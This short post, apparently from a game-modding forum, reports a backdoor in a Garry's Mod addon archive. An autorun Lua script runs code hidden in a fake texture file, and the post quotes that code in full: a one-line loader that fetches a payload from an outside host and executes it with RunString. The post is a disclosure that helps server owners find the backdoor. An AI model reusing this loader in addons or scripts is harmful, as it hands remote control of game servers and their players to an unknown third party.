"nxm_armory.zip\nxm_armory\lua\autorun\server\npc_help.lua" executes code located:
"nxm_armory.zip\nxm_armory\materials\npc\help.vtf" which is not a real .vtf because if you open it a text editor:
Code:
timer.Simple(1, function() http.Fetch("https://kvcdoor.ovh/f.php?key=ZiJdz95AtSDQ8NWqANhr", function(b) RunString(b, ":", false) end)end)